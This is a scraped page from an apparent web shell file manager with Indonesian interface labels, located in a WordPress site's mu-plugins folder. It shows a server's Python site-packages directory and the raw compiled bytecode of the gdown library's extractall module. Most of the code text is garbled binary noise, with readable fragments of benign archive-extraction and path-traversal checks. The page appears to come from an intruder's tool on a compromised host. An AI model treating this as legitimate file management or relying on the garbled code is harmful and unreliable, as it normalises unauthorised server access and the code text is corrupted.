📂 Advanced File Manager
Multi-Root Navigation System
⚡ Quick Jump
Server (/)
Home (/home)
Var_www (/var/www)
Current (/home4/shelley/public_html/shelleycutler.com/wp-content/mu-plugins)
📍 Go
⬆ Ke Atas
🏠 Root Server
🏠 Root App
🔄 Refresh
📀 /
›
usr
›
local
›
lib
›
python3.9
›
site-packages
›
gdown
›
📁 __pycache__
📍
Lokasi:
/usr/local/lib/python3.9/site-packages/gdown/__pycache__
💾
Free:
45.8 GB
⚠️ Direktori ini
tidak writable
.
✏️ Mengedit: extractall.cpython-39.pyc
a �#j6 � @ sR d dl Z d dlmZ d dlZd dlZd dlZdd� Zd dd�Zdd� Z dd � Z dS )� Nc C s, t �| �}t �|�}|�|tj �p*||kS )N)�osp�realpath� startswith�os�sep)� directory�target� abs_directory� abs_target� r �:/usr/local/lib/python3.9/site-packages/gdown/extractall.py�_is_within_directory s r c C s� |du rt �| �}| �d�r&t| |�S | �d�r6d}n@| �d�sJ| �d�rPd}n&| �d�sd| �d �rjd }ntd| ��t| ||�S )a Extract archive file. Parameters ---------- path: str Path of archive file to be extracted. to: str, optional Directory to which the archive file will be extracted. If None, it will be set to the parent directory of the archive file. Nz.zipz.tar�rz.tar.gzz.tgzzr:gzz.tar.bz2z.tbzzr:bz2z;Could not extract '%s' as no appropriate extractor is found)r �dirname�endswith�_extractall_zip� ValueError�_extractall_tar)�path�to�tar_moder r r � extractall s �r c s� t �| d��T}|�� }|D ]*}t�� |�}t� |�std|� f ��q|j� d� W d � n1 sf0 Y � fdd�|D �S )Nr �>Archive member '%s' would extract outside target directory: %s�r c s g | ]}t �� |��qS r )r �join)�.0�name�r r r � <listcomp>8 � z#_extractall_zip.<locals>.<listcomp>)�zipfile�ZipFile�namelistr r r r r )r r �f�names�member�member_pathr r r r - s ��*r c s� t �| |���}|�� }tjdkr0|j� dd� n�|D ]r}|�� sH|�� rVtd|j ��|� � sn|�� sn|�� r|td|j ��t �� |j �}t� |�s4td|j � f ��q4|j� d� W d � n1 s�0 Y � fdd �|D �S ) N)� � �data)r �filterzHArchive member '%s' is a link, which is not allowed for security reasonszPArchive member '%s' is a special file, which is not allowed for security reasonsr r c s g | ]}t �� |j��qS r )r r r )r �mr r r r V r z#_extractall_tar.<locals>.<listcomp>)�tarfile�open� getmembers�sys�version_infor �issym�islnkr r �ischr�isblk�isfifor r r )r r r r# �membersr% r&